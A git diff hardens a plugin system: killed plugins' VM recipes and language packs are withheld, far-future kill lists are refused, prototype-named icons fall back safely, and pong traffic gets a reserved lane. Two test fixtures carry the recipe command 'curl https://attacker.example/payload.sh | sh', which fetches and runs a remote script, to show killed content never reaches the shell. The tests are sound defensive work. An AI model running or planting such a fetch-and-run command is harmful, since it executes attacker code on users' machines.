diff --git a/src/main/plugins/plugin-content-pack-registry.test.ts b/src/main/plugins/plugin-content-pack-registry.test.ts index fe58cd3cc1d..6064a944f34 100644 --- a/src/main/plugins/plugin-content-pack-registry.test.ts +++ b/src/main/plugins/plugin-content-pack-registry.test.ts @@ -51,7 +51,7 @@ describe('PluginContentPackRegistry', () => { contentHash: null, isDev: true } - const registry = new PluginContentPackRegistry(new PluginContentVerifier()) + const registry = new PluginContentPackRegistry(new PluginContentVerifier(), () => false) await registry.reconcile([plugin], () => true) @@ -97,7 +97,7 @@ describe('PluginContentPackRegistry', () => { contentHash: null, isDev: true } - const registry = new PluginContentPackRegistry(new PluginContentVerifier()) + const registry = new PluginContentPackRegistry(new PluginContentVerifier(), () => false) await registry.reconcile([plugin], () => true) @@ -105,4 +105,61 @@ describe('PluginContentPackRegistry', () => { expect(registry.languagePacks.list()).toEqual([]) expect(registry.vmRecipes.list()).toEqual([]) }) + + it('withholds content from a plugin killed during the awaited verification phase', async () => { + const rootDir = await mkdtemp(join(tmpdir(), 'orca-plugin-content-pack-kill-race-')) + roots.push(rootDir) + await Promise.all([mkdir(join(rootDir, 'locales')), mkdir(join(rootDir, 'recipes'))]) + await Promise.all([ + writeFile(join(rootDir, 'locales', 'es.json'), JSON.stringify({ settings: 'Ajustes' })), + writeFile( + join(rootDir, 'recipes', 'vm.json'), + JSON.stringify({ + schemaVersion: 1, + id: 'raced-recipe', + name: 'Raced Recipe', + create: 'curl https://attacker.example/payload.sh | sh' + }) + ) + ]) + const manifest = pluginManifestSchema.parse({ + manifestVersion: 1, + id: 'kill-race', + publisher: 'orca-samples', + name: 'Kill Race', + version: '1.0.0', + engines: { orca: '>=1.0.0' }, + pluginApi: 1, + contributes: { + languagePacks: [{ locale: 'es', path: 'locales/es.json' }], + vmRecipes: [{ path: 'recipes/vm.json' }] + }, + capabilities: [] + }) + const content = await hashPluginTree(rootDir) + if (!content.ok) { + throw new Error(content.error) + } + const plugin: ValidDiscoveredPlugin = { + pluginKey: 'orca-samples.kill-race', + rootDir, + manifest, + consentFingerprint: fingerprintPluginConsent(manifest, content.hash), + consentContentHash: content.hash, + contentHash: null, + isDev: true + } + let killed = false + const registry = new PluginContentPackRegistry(new PluginContentVerifier(), () => killed) + + // reconcile() builds its approved-key snapshot synchronously before it + // first yields, so flipping the kill list here lands squarely inside the + // awaited verification window the final admission gate must re-check. + const reconciled = registry.reconcile([plugin], () => true) + killed = true + await reconciled + + expect(registry.vmRecipes.list()).toEqual([]) + expect(registry.languagePacks.list()).toEqual([]) + }) }) diff --git a/src/main/plugins/plugin-content-pack-registry.ts b/src/main/plugins/plugin-content-pack-registry.ts index 40ad6978fcb..b6e19d3b998 100644 --- a/src/main/plugins/plugin-content-pack-registry.ts +++ b/src/main/plugins/plugin-content-pack-registry.ts @@ -16,7 +16,12 @@ export class PluginContentPackRegistry { readonly commands: PluginCommandRegistry private readonly activationErrors = new Map() - constructor(contentVerifier: PluginContentVerifier) { + constructor( + contentVerifier: PluginContentVerifier, + /** Revocation chokepoint: no caller-supplied predicate can readmit a + * killed plugin's language packs, VM recipes, or commands. */ + private readonly isKilled: (pluginKey: string) => boolean + ) { this.languagePacks = new PluginLanguagePackRegistry(contentVerifier) this.vmRecipes = new PluginVmRecipeRegistry() this.commands = new PluginCommandRegistry() @@ -30,7 +35,7 @@ export class PluginContentPackRegistry { const approvedKeys = new Set( discovered .filter((plugin): plugin is ValidDiscoveredPlugin => !isInvalidDiscoveredPlugin(plugin)) - .filter(isApproved) + .filter((plugin) => isApproved(plugin) && !this.isKilled(plugin.pluginKey)) .map((plugin) => plugin.pluginKey) ) const excluded = new Set() @@ -58,8 +63,13 @@ export class PluginContentPackRegistry { ) while (true) { + // `approvedKeys` is a snapshot from before the awaited verification + // above, so a kill list arriving during that wait would otherwise still + // publish. Re-read revocation here, the last gate before publication. const approveAtomically = (plugin: ValidDiscoveredPlugin): boolean => - approvedKeys.has(plugin.pluginKey) && !excluded.has(plugin.pluginKey) + approvedKeys.has(plugin.pluginKey) && + !excluded.has(plugin.pluginKey) && + !this.isKilled(plugin.pluginKey) const languagePacks = this.languagePacks.reconcile(discovered, approveAtomically) const vmRecipes = this.vmRecipes.reconcile(discovered, approveAtomically) this.commands.reconcile(discovered, approveAtomically, keybindings) diff --git a/src/main/plugins/plugin-kill-list-content-revocation.test.ts b/src/main/plugins/plugin-kill-list-content-revocation.test.ts new file mode 100644 index 00000000000..4690dfc2eb5 --- /dev/null +++ b/src/main/plugins/plugin-kill-list-content-revocation.test.ts @@ -0,0 +1,105 @@ +import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, describe, expect, it } from 'vitest' +import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint' +import { pluginManifestSchema, type PluginManifest } from '../../shared/plugins/plugin-manifest' +import { getApprovedPluginVmRecipes } from './plugin-approved-vm-recipes' +import { PluginService } from './plugin-service' +import { hashPluginTree } from './plugin-content-hash' + +/** A kill-listed plugin's declarative content must stop reaching the runtime: + * VM recipe `create` strings are executed through spawn(..., { shell: true }). */ + +const roots: string[] = [] +const services: PluginService[] = [] +const pluginKey = 'orca-samples.recipes' + +function contentManifest(): PluginManifest { + return pluginManifestSchema.parse({ + manifestVersion: 1, + id: 'recipes', + publisher: 'orca-samples', + name: 'Recipes', + version: '1.0.0', + engines: { orca: '>=1.0.0' }, + pluginApi: 1, + contributes: { + languagePacks: [{ locale: 'es', path: 'locales/es.json' }], + vmRecipes: [{ path: 'recipes/vm.json' }] + }, + capabilities: [] + }) +} + +async function pluginRoot(): Promise { + const root = await mkdtemp(join(tmpdir(), 'orca-plugin-kill-content-')) + roots.push(root) + await Promise.all([mkdir(join(root, 'locales')), mkdir(join(root, 'recipes'))]) + await Promise.all([ + writeFile(join(root, 'orca-plugin.json'), JSON.stringify(contentManifest())), + writeFile(join(root, 'locales', 'es.json'), JSON.stringify({ settings: 'Ajustes' })), + writeFile( + join(root, 'recipes', 'vm.json'), + JSON.stringify({ + schemaVersion: 1, + id: 'killed-recipe', + name: 'Killed Recipe', + create: 'curl https://attacker.example/payload.sh | sh' + }) + ) + ]) + return root +} + +async function createService(root: string, isKilled: () => boolean): Promise { + const content = await hashPluginTree(root) + if (!content.ok) { + throw new Error(content.error) + } + const service = new PluginService({ + userDataPath: root, + hostVersion: '1.4.0', + isPluginSystemEnabled: () => true, + getDisabledPlugins: () => [], + getPluginConsents: () => ({ + [pluginKey]: fingerprintPluginConsent(contentManifest(), content.hash) + }), + getDevPluginPaths: () => [root], + getPluginKillListEntry: (key) => + isKilled() && key === pluginKey ? { pluginKey, reason: 'Malware advisory' } : null + }) + services.push(service) + return service +} + +afterEach(async () => { + await Promise.all(services.splice(0).map((service) => service.dispose())) + await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true }))) +}) + +describe('kill-list revocation of declarative plugin content', () => { + it('withdraws VM recipes and language packs when a live plugin is killed', async () => { + const root = await pluginRoot() + let killed = false + const service = await createService(root, () => killed) + await service.initialize() + expect(await getApprovedPluginVmRecipes(service)).toHaveLength(1) + + killed = true + await service.reconcileActivationState() + + expect(await getApprovedPluginVmRecipes(service)).toEqual([]) + expect(service.contentPacks.languagePacks.list()).toEqual([]) + }) + + it('never publishes killed content after a restart discovers the plugin', async () => { + const root = await pluginRoot() + const service = await createService(root, () => true) + + await service.initialize() + + expect(await getApprovedPluginVmRecipes(service)).toEqual([]) + expect(service.contentPacks.languagePacks.list()).toEqual([]) + }) +}) diff --git a/src/main/plugins/plugin-kill-list-service.test.ts b/src/main/plugins/plugin-kill-list-service.test.ts index 3da97e08576..7228aad49ff 100644 --- a/src/main/plugins/plugin-kill-list-service.test.ts +++ b/src/main/plugins/plugin-kill-list-service.test.ts @@ -23,6 +23,7 @@ function killList(date = '2026-07-12T20:00:00Z'): PluginKillList { } afterEach(async () => { + vi.useRealTimers() await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true }))) }) @@ -79,6 +80,52 @@ describe('PluginKillListService', () => { ) }) + it('keeps accepting genuine lists after a far-future snapshot is published', async () => { + const root = await tempRoot() + const fetcher = vi + .fn<() => Promise>() + .mockResolvedValueOnce(killList('9999-12-31T23:59:59Z')) + .mockResolvedValueOnce(killList('2026-07-12T20:00:00Z')) + const service = new PluginKillListService({ pluginsDataDir: root, fetcher }) + + await expect(service.refresh()).rejects.toThrow() + await expect(service.refresh()).resolves.toMatchObject({ + generatedAt: '2026-07-12T20:00:00Z' + }) + expect(service.reason('community.unsafe')).toBe('Malware advisory') + // The poisoned snapshot must not have been cached for the next launch. + const restarted = new PluginKillListService({ pluginsDataDir: root, fetcher }) + await restarted.initialize() + expect(restarted.snapshot()?.generatedAt).toBe('2026-07-12T20:00:00Z') + }) + + it('keeps cached revocations live when the device clock runs far behind', async () => { + const root = await tempRoot() + const generatedAt = new Date().toISOString() + const published = new PluginKillListService({ + pluginsDataDir: root, + fetcher: async () => killList(generatedAt) + }) + await published.refresh() + // A dead RTC / restored VM snapshot must not re-judge an already-accepted + // cache against the wrong clock and silently un-revoke a killed plugin. + vi.useFakeTimers() + vi.setSystemTime(new Date(Date.parse(generatedAt) - 30 * 24 * 60 * 60 * 1000)) + const restarted = new PluginKillListService({ + pluginsDataDir: root, + fetcher: async () => killList(generatedAt) + }) + + await restarted.initialize() + + expect(restarted.snapshot()?.generatedAt).toBe(generatedAt) + expect(restarted.reason('community.unsafe')).toBe('Malware advisory') + // A refresh the skewed clock cannot vouch for is refused, but refusing it + // must never downgrade the revocations already in force. + await expect(restarted.refresh()).rejects.toThrow() + expect(restarted.reason('community.unsafe')).toBe('Malware advisory') + }) + it('rejects a replayed older snapshot without replacing cached revocations', async () => { const fetcher = vi .fn<() => Promise>() diff --git a/src/main/plugins/plugin-kill-list-service.ts b/src/main/plugins/plugin-kill-list-service.ts index 572e7074b66..288f3b070e2 100644 --- a/src/main/plugins/plugin-kill-list-service.ts +++ b/src/main/plugins/plugin-kill-list-service.ts @@ -1,5 +1,6 @@ import { findKilledPlugin, + isPluginKillListTooFarInFuture, pluginKillListSchema, type PluginKillList, type PluginKillListEntry @@ -75,6 +76,9 @@ export class PluginKillListService { private async performRefresh(): Promise { await this.initialize() const fetched = pluginKillListSchema.parse(await this.fetcher()) + if (isPluginKillListTooFarInFuture(fetched)) { + throw new Error('refusing a plugin kill list generated too far in the future') + } if ( this.currentList && Date.parse(fetched.generatedAt) < Date.parse(this.currentList.generatedAt) @@ -127,7 +131,11 @@ export async function fetchPluginKillList( offset += chunk.byteLength } try { - return pluginKillListSchema.parse(JSON.parse(new TextDecoder().decode(bytes))) + const parsed = pluginKillListSchema.parse(JSON.parse(new TextDecoder().decode(bytes))) + if (isPluginKillListTooFarInFuture(parsed)) { + throw new Error('generatedAt is too far in the future') + } + return parsed } catch (error) { throw new Error( `invalid plugin kill-list response: ${error instanceof Error ? error.message : String(error)}` diff --git a/src/main/plugins/plugin-service.ts b/src/main/plugins/plugin-service.ts index 9f214cc834b..341e206d4af 100644 --- a/src/main/plugins/plugin-service.ts +++ b/src/main/plugins/plugin-service.ts @@ -64,7 +64,9 @@ export class PluginService { constructor(options: PluginServiceOptions) { this.options = options - this.contentPacks = new PluginContentPackRegistry(this.contentVerifier) + this.contentPacks = new PluginContentPackRegistry(this.contentVerifier, (pluginKey) => + Boolean(this.options.getPluginKillListEntry?.(pluginKey)) + ) this.audit = new PluginAuditLog(getPluginsDataDir(options.userDataPath)) this.panels = new PluginPanelController({ resolveApprovedPlugin: (pluginKey) => { diff --git a/src/renderer/src/components/right-sidebar/plugin-panel-activity-items.test.ts b/src/renderer/src/components/right-sidebar/plugin-panel-activity-items.test.ts index bdf881ef835..779e14563e7 100644 --- a/src/renderer/src/components/right-sidebar/plugin-panel-activity-items.test.ts +++ b/src/renderer/src/components/right-sidebar/plugin-panel-activity-items.test.ts @@ -1,6 +1,7 @@ +import { FileText, Plug } from 'lucide-react' import { describe, expect, it } from 'vitest' import type { ActivePluginPanel } from '@/store/plugin-panels' -import { getPluginPanelActivityItems } from './plugin-panel-activity-items' +import { getPluginPanelActivityItems, resolvePluginPanelIcon } from './plugin-panel-activity-items' const panel: ActivePluginPanel = { id: 'dashboard', @@ -10,6 +11,30 @@ const panel: ActivePluginPanel = { pluginName: 'Demo' } +describe('resolvePluginPanelIcon', () => { + it('resolves a curated icon name in both lucide naming styles', () => { + const dashed = resolvePluginPanelIcon('file-text') + // Without this, the equality below also passes when both sides fall back. + expect(dashed).toBe(FileText) + expect(resolvePluginPanelIcon('FileText')).toBe(dashed) + }) + + it.each(['constructor', '__proto__', 'toString', 'hasOwnProperty'])( + 'falls back to Plug for the prototype member %s', + (iconName) => { + expect(resolvePluginPanelIcon(iconName)).toBe(Plug) + } + ) + + it('keeps a hostile manifest icon renderable by the activity bar', () => { + // Object / Object.prototype are not valid React element types: rendering + // either throws past the right-sidebar boundary and blanks the whole rail. + const item = getPluginPanelActivityItems([{ ...panel, icon: 'constructor' }])[0]! + expect(item.icon).not.toBe(Object) + expect(item.icon).toBe(Plug) + }) +}) + describe('getPluginPanelActivityItems', () => { it('projects watchdog failure into host-owned activity chrome', () => { expect( diff --git a/src/renderer/src/components/right-sidebar/plugin-panel-activity-items.ts b/src/renderer/src/components/right-sidebar/plugin-panel-activity-items.ts index c2b52b48279..0a5cffa4e44 100644 --- a/src/renderer/src/components/right-sidebar/plugin-panel-activity-items.ts +++ b/src/renderer/src/components/right-sidebar/plugin-panel-activity-items.ts @@ -70,7 +70,11 @@ export function resolvePluginPanelIcon(iconName: string | undefined): PluginPane } // Accept both lucide naming styles ('file-text' and 'FileText'). const normalized = iconName.replaceAll('-', '').toLowerCase() - return PLUGIN_PANEL_ICONS[normalized] ?? Plug + // Own-key only: a manifest icon named `constructor` must not resolve to an + // inherited member and crash the sidebar with a non-component "icon". + return Object.hasOwn(PLUGIN_PANEL_ICONS, normalized) + ? (PLUGIN_PANEL_ICONS[normalized] ?? Plug) + : Plug } /** Maps active plugin panel contributions onto right-sidebar activity items. */ diff --git a/src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.test.ts b/src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.test.ts index 0ee0dfbdd29..1862bfee976 100644 --- a/src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.test.ts +++ b/src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.test.ts @@ -223,26 +223,52 @@ describe('createPanelBridgeMessageHandler', () => { expect(panelWindow.postMessage).not.toHaveBeenCalled() }) - it('charges pong and invalid guest traffic before parsing either message', () => { + it('charges every guest frame, pongs included, to the data budget', () => { const panelWindow = createFakePanelWindow() const admit = vi.fn().mockReturnValue(null) + const controlAdmit = vi.fn().mockReturnValue(null) const onPong = vi.fn() const handler = createPanelBridgeMessageHandler({ sessionToken: SESSION_TOKEN, getPanelWindow: () => panelWindow, callPanelAction: vi.fn(), onPong, - budget: { maxBytes: 1024, admit } + budget: { maxBytes: 1024, admit }, + controlBudget: { maxBytes: 1024, admit: controlAdmit } }) handler(messageEvent({ type: 'invalid-hostile-message' }, panelWindow)) handler(messageEvent({ type: 'orca-panel-pong', pingId: 7 }, panelWindow)) + // The pong spends data budget too, so the reserved lane grants liveness + // without also granting a free channel for unmetered host work. expect(admit).toHaveBeenCalledTimes(2) + expect(controlAdmit).toHaveBeenCalledTimes(1) expect(onPong).toHaveBeenCalledWith(7) }) - it('does not accept a pong refused by the rate budget', () => { + it('charges a near-miss pong to the data budget only, sparing the reserved lane', () => { + const panelWindow = createFakePanelWindow() + const admit = vi.fn().mockReturnValue(null) + const controlAdmit = vi.fn().mockReturnValue(null) + const handler = createPanelBridgeMessageHandler({ + sessionToken: SESSION_TOKEN, + getPanelWindow: () => panelWindow, + callPanelAction: vi.fn(), + onPong: vi.fn(), + budget: { maxBytes: 1024, admit }, + controlBudget: { maxBytes: 1024, admit: controlAdmit } + }) + + handler(messageEvent({ type: 'orca-panel-pong', pingId: -1 }, panelWindow)) + handler(messageEvent({ type: 'orca-panel-pong', pingId: 'seven' }, panelWindow)) + handler(messageEvent({ type: 'orca-panel-pong' }, panelWindow)) + + expect(admit).toHaveBeenCalledTimes(3) + expect(controlAdmit).not.toHaveBeenCalled() + }) + + it('keeps answering the watchdog while the data budget is saturated', () => { const panelWindow = createFakePanelWindow() const onPong = vi.fn() const handler = createPanelBridgeMessageHandler({ @@ -255,6 +281,50 @@ describe('createPanelBridgeMessageHandler', () => { handler(messageEvent({ type: 'orca-panel-pong', pingId: 7 }, panelWindow)) + expect(onPong).toHaveBeenCalledWith(7) + }) + + it('never lets a panel starve its own watchdog with self-sent pong traffic', () => { + const panelWindow = createFakePanelWindow() + const onPong = vi.fn() + let clock = 0 + const handler = createPanelBridgeMessageHandler({ + sessionToken: SESSION_TOKEN, + getPanelWindow: () => panelWindow, + callPanelAction: vi.fn(), + onPong, + now: () => clock + }) + + // A hostile panel floods unsolicited pongs, then the real watchdog reply + // for this window arrives. Any per-window count on the reserved lane would + // have been spent by the flood and would drop pingId 99. + for (let i = 0; i < 500; i += 1) { + handler(messageEvent({ type: 'orca-panel-pong', pingId: i }, panelWindow)) + clock += 1 + } + handler(messageEvent({ type: 'orca-panel-pong', pingId: 99 }, panelWindow)) + + expect(onPong).toHaveBeenLastCalledWith(99) + }) + + it('refuses an oversized frame on the reserved lane', () => { + const panelWindow = createFakePanelWindow() + const onPong = vi.fn() + const handler = createPanelBridgeMessageHandler({ + sessionToken: SESSION_TOKEN, + getPanelWindow: () => panelWindow, + callPanelAction: vi.fn(), + onPong + }) + + handler( + messageEvent( + { type: 'orca-panel-pong', pingId: 7, padding: 'x'.repeat(4 * 1024) }, + panelWindow + ) + ) + expect(onPong).not.toHaveBeenCalled() }) }) diff --git a/src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.ts b/src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.ts index edd349848a5..4e9d70d4bbe 100644 --- a/src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.ts +++ b/src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.ts @@ -1,12 +1,14 @@ import { PANEL_ACTION_RESULT_TYPE, + PANEL_CONTROL_MESSAGE_MAX_BYTES, looksLikePanelActionRequest, - looksLikePanelPong, parsePanelActionRequest, + readPanelPongId, type PluginPanelActionOutcome, type PluginPanelActionResultMessage } from '../../../../shared/plugins/plugin-panel-bridge' import { + createPanelControlMessageBudget, createPanelMessageBudget, structuredCloneMessageBytes, type PanelMessageBudget @@ -39,6 +41,8 @@ export type PanelBridgeHostOptions = { onPong?: (pingId: number) => void /** Injectable for tests; defaults to the shared per-plugin budget. */ budget?: PanelMessageBudget + /** Reserved liveness budget; defaults to the shared control-frame budget. */ + controlBudget?: PanelMessageBudget now?: () => number } @@ -65,6 +69,7 @@ export function createPanelBridgeMessageHandler( options: PanelBridgeHostOptions ): (event: MessageEvent) => void { const budget = options.budget ?? createPanelMessageBudget() + const controlBudget = options.controlBudget ?? createPanelControlMessageBudget() const now = options.now ?? (() => Date.now()) return (event: MessageEvent): void => { const panelWindow = options.getPanelWindow() @@ -83,6 +88,28 @@ export function createPanelBridgeMessageHandler( // concrete origin, so anything stricter would silently drop the reply. requestingWindow.postMessage(message, '*') } + // A valid pong is the one frame the host must never lose: it takes a + // reserved lane so a panel saturating its data budget can still prove it + // is alive. Only schema-valid pongs qualify, so near-miss pong-shaped junk + // cannot drain the lane the real reply needs — it falls through to the + // data budget below like any other malformed frame. + const pongId = readPanelPongId(event.data) + if (pongId !== null) { + const timestamp = now() + // One walk, capped at the smaller lane bound, serves both budgets: a + // pong above that cap is refused here anyway. + const pongBytes = structuredCloneMessageBytes( + event.data, + controlBudget.maxBytes ?? PANEL_CONTROL_MESSAGE_MAX_BYTES + ) + // Charged to both: the data budget still meters this traffic, while a + // refusal there cannot by itself silence liveness. + budget.admit(timestamp, pongBytes) + if (!controlBudget.admit(timestamp, pongBytes)) { + options.onPong?.(pongId) + } + return + } // Budgets run before parsing: a flood of malformed junk must not buy // free schema-validation CPU either. const refusal = budget.admit(now(), structuredCloneMessageBytes(event.data, budget.maxBytes)) @@ -111,10 +138,6 @@ export function createPanelBridgeMessageHandler( } return } - if (looksLikePanelPong(event.data)) { - options.onPong?.((event.data as { pingId: number }).pingId) - return - } if (!looksLikePanelActionRequest(event.data)) { return } diff --git a/src/shared/plugins/plugin-kill-list.test.ts b/src/shared/plugins/plugin-kill-list.test.ts index af3036f041a..5eacf06c300 100644 --- a/src/shared/plugins/plugin-kill-list.test.ts +++ b/src/shared/plugins/plugin-kill-list.test.ts @@ -1,9 +1,12 @@ import { describe, expect, it } from 'vitest' import { PLUGIN_KILL_LIST_ENTRY_LIMIT, + PLUGIN_KILL_LIST_FUTURE_SKEW_MS, findKilledPlugin, + isPluginKillListTooFarInFuture, killedPluginKeys, - pluginKillListSchema + pluginKillListSchema, + type PluginKillList } from './plugin-kill-list' function entry(pluginKey = 'community.unsafe'): Record { @@ -87,3 +90,19 @@ describe('pluginKillListSchema', () => { ).toBe(false) }) }) + +describe('isPluginKillListTooFarInFuture', () => { + const list = (generatedAt: string): PluginKillList => + pluginKillListSchema.parse({ version: 1, generatedAt, plugins: [entry()] }) + + it('flags a snapshot that would freeze out every later revocation', () => { + expect(isPluginKillListTooFarInFuture(list('9999-12-31T23:59:59Z'))).toBe(true) + }) + + it('allows a snapshot inside the clock-skew window', () => { + const generatedAt = new Date( + Date.now() + PLUGIN_KILL_LIST_FUTURE_SKEW_MS - 60_000 + ).toISOString() + expect(isPluginKillListTooFarInFuture(list(generatedAt))).toBe(false) + }) +}) diff --git a/src/shared/plugins/plugin-kill-list.ts b/src/shared/plugins/plugin-kill-list.ts index 5200cf99277..500797607ad 100644 --- a/src/shared/plugins/plugin-kill-list.ts +++ b/src/shared/plugins/plugin-kill-list.ts @@ -2,6 +2,8 @@ import { z } from 'zod' import { isQualifiedPluginKey } from './plugin-manifest' export const PLUGIN_KILL_LIST_ENTRY_LIMIT = 4_096 +/** Publisher clocks and client clocks disagree by minutes, never by days. */ +export const PLUGIN_KILL_LIST_FUTURE_SKEW_MS = 24 * 60 * 60 * 1000 const advisoryUrlSchema = z .string() @@ -38,6 +40,17 @@ export const pluginKillListSchema = z export type PluginKillList = z.infer export type PluginKillListEntry = z.infer +/** A far-future generatedAt makes every genuine later list look "older" and + * disables revocation permanently. Checked only on freshly fetched snapshots: + * a cached list was already accepted once, and re-judging it against the + * device clock would drop live revocations whenever that clock runs slow. */ +export function isPluginKillListTooFarInFuture( + killList: PluginKillList, + now = Date.now() +): boolean { + return Date.parse(killList.generatedAt) > now + PLUGIN_KILL_LIST_FUTURE_SKEW_MS +} + export function killedPluginKeys(killList: PluginKillList): ReadonlySet { return new Set(killList.plugins.map((plugin) => plugin.pluginKey)) } diff --git a/src/shared/plugins/plugin-language-pack-artifact.test.ts b/src/shared/plugins/plugin-language-pack-artifact.test.ts index 7c311b9a9c3..c3f9980e7e6 100644 --- a/src/shared/plugins/plugin-language-pack-artifact.test.ts +++ b/src/shared/plugins/plugin-language-pack-artifact.test.ts @@ -35,6 +35,9 @@ describe('plugin language-pack artifacts', () => { it.each([ 'PluginConsentDialog', + // The provenance badge and install-error copy carry the trust decision. + 'PluginConsentProvenance', + 'pluginError', 'PluginKeybindingConsentPreview', 'PluginMarketplaceListingRow', 'PluginMarketplacePreviewDialog', @@ -54,6 +57,33 @@ describe('plugin language-pack artifacts', () => { ).toMatchObject({ ok: false, error: expect.stringContaining('protected security copy') }) }) + it('forges no trust badge: the community→Official swap is refused', () => { + expect( + parsePluginLanguagePackArtifact( + JSON.stringify({ + auto: { + components: { + settings: { PluginConsentProvenance: { community: 'Official' } } + } + } + }) + ) + ).toMatchObject({ + ok: false, + error: expect.stringContaining('auto.components.settings.PluginConsentProvenance') + }) + }) + + it('still lets language packs translate non-plugin settings copy', () => { + expect( + parsePluginLanguagePackArtifact( + JSON.stringify({ + auto: { components: { settings: { AppearanceSection: { title: 'Apariencia' } } } } + }) + ).ok + ).toBe(true) + }) + it.each([ ['array leaf', { settings: { choices: ['one'] } }], ['numeric leaf', { settings: { count: 1 } }], diff --git a/src/shared/plugins/plugin-language-pack-artifact.ts b/src/shared/plugins/plugin-language-pack-artifact.ts index 6932403d755..0e4dd218d95 100644 --- a/src/shared/plugins/plugin-language-pack-artifact.ts +++ b/src/shared/plugins/plugin-language-pack-artifact.ts @@ -2,20 +2,11 @@ export const PLUGIN_LANGUAGE_CATALOG_MAX_ENTRIES = 20_000 export const PLUGIN_LANGUAGE_CATALOG_MAX_DEPTH = 16 const DANGEROUS_CATALOG_KEYS = new Set(['__proto__', 'prototype', 'constructor']) -const PROTECTED_TRANSLATION_PREFIXES = [ - 'auto.components.settings.PluginConsentDialog', - 'auto.components.settings.PluginInstallDialog', - 'auto.components.settings.PluginKeybindingConsentPreview', - 'auto.components.settings.PluginMarketplaceBrowser', - 'auto.components.settings.PluginMarketplaceListingRow', - 'auto.components.settings.PluginMarketplacePreviewDialog', - 'auto.components.settings.PluginMarketplaceSourceDialog', - 'auto.components.settings.PluginRemoveDialog', - 'auto.components.settings.PluginRollbackDialog', - 'auto.components.settings.PluginSettingsRow', - 'auto.components.settings.PluginVmRecipeConsentPreview', - 'auto.components.settings.PluginsSettingsSection' -] +// Why: every plugin-facing security surface lives under this namespace, so +// protecting the whole subtree keeps a new dialog from silently becoming +// plugin-writable the way PluginConsentProvenance did when it was extracted. +const PROTECTED_TRANSLATION_ROOT = 'auto.components.settings.' +const PROTECTED_TRANSLATION_MODULE = /^plugin/i export type PluginLanguagePackRegistration = { id: `plugin:${string}` @@ -51,9 +42,10 @@ function isCatalogObject(value: unknown): value is Record { } function protectedTranslation(path: string): boolean { - return PROTECTED_TRANSLATION_PREFIXES.some( - (prefix) => path === prefix || path.startsWith(`${prefix}.`) - ) + if (!path.startsWith(PROTECTED_TRANSLATION_ROOT)) { + return false + } + return PROTECTED_TRANSLATION_MODULE.test(path.slice(PROTECTED_TRANSLATION_ROOT.length)) } function hasUnsafeCatalogKeyCharacter(key: string): boolean { diff --git a/src/shared/plugins/plugin-panel-bridge.ts b/src/shared/plugins/plugin-panel-bridge.ts index 5a9a6b25357..95c8a62d5ff 100644 --- a/src/shared/plugins/plugin-panel-bridge.ts +++ b/src/shared/plugins/plugin-panel-bridge.ts @@ -22,6 +22,13 @@ export const PLUGIN_PANEL_FRAME_NAME_PREFIX = 'orca-plugin-panel:' export const PANEL_MESSAGE_MAX_BYTES = 64 * 1024 export const PANEL_MESSAGE_RATE_LIMIT = { maxMessages: 30, perMs: 10_000 } +/** Size cap for the reserved liveness lane. Deliberately size-only: any + * per-window count on this lane can be spent by the panel's own pongs and + * would drop the next genuine reply, which is the starvation this reserved + * lane exists to prevent. Aggregate cost stays bounded because pongs are also + * charged to the data budget and cost O(1) plus a walk capped here. */ +export const PANEL_CONTROL_MESSAGE_MAX_BYTES = 1024 + /** Watchdog cadence: a panel that misses a pong deadline is demoted to an * errored badge. Busy-loop detection is valid only while the runtime frame- * process gate confirms the sandbox stays outside the host renderer. */ @@ -127,8 +134,21 @@ export function looksLikePanelActionRequest(data: unknown): boolean { ) } -export function looksLikePanelPong(data: unknown): boolean { - return panelPongSchema.safeParse(data).success +/** Reads a valid pong's pingId, or null. Hand-rolled rather than + * `panelPongSchema.safeParse` because a rejected parse allocates an issue + * list, which is ~90x the accepted-path cost — free CPU for a panel spamming + * near-miss pongs. The schema stays the contract; this mirrors it exactly. */ +export function readPanelPongId(data: unknown): number | null { + if (typeof data !== 'object' || data === null) { + return null + } + const frame = data as { type?: unknown; pingId?: unknown } + if (frame.type !== PANEL_PONG_TYPE || typeof frame.pingId !== 'number') { + return null + } + // isSafeInteger, not isInteger: zod's .int() rejects 2**53 and above, and a + // wider reader would admit ids the watchdog can never have issued. + return Number.isSafeInteger(frame.pingId) && frame.pingId >= 0 ? frame.pingId : null } /** Validates action params against the host API spec (shared with workers). */ diff --git a/src/shared/plugins/plugin-panel-message-budget.ts b/src/shared/plugins/plugin-panel-message-budget.ts index 332065516b0..93f926a085c 100644 --- a/src/shared/plugins/plugin-panel-message-budget.ts +++ b/src/shared/plugins/plugin-panel-message-budget.ts @@ -1,4 +1,8 @@ -import { PANEL_MESSAGE_MAX_BYTES, PANEL_MESSAGE_RATE_LIMIT } from './plugin-panel-bridge' +import { + PANEL_CONTROL_MESSAGE_MAX_BYTES, + PANEL_MESSAGE_MAX_BYTES, + PANEL_MESSAGE_RATE_LIMIT +} from './plugin-panel-bridge' /** * Per-plugin bridge budgets: message size cap and a sliding-window rate @@ -40,6 +44,20 @@ export function createPanelMessageBudget( } } +/** + * Reserved liveness lane, size-bounded only. A per-window count here would be + * spent by the panel's own pongs and would then drop the next genuine reply — + * the exact starvation this lane exists to prevent. Rate is still bounded + * because the caller also charges every pong to the data budget. + */ +export function createPanelControlMessageBudget(): PanelMessageBudget { + return { + maxBytes: PANEL_CONTROL_MESSAGE_MAX_BYTES, + admit: (_now, messageBytes) => + messageBytes > PANEL_CONTROL_MESSAGE_MAX_BYTES ? 'oversized' : null + } +} + const textEncoder = new TextEncoder() function utf8Bytes(value: string, stopAfter: number): number { diff --git a/src/shared/plugins/plugin-panel-pong-frame.test.ts b/src/shared/plugins/plugin-panel-pong-frame.test.ts new file mode 100644 index 00000000000..786f23fb76a --- /dev/null +++ b/src/shared/plugins/plugin-panel-pong-frame.test.ts @@ -0,0 +1,46 @@ +import { describe, expect, it } from 'vitest' +import { PANEL_PONG_TYPE, panelPongSchema, readPanelPongId } from './plugin-panel-bridge' + +/** `readPanelPongId` is 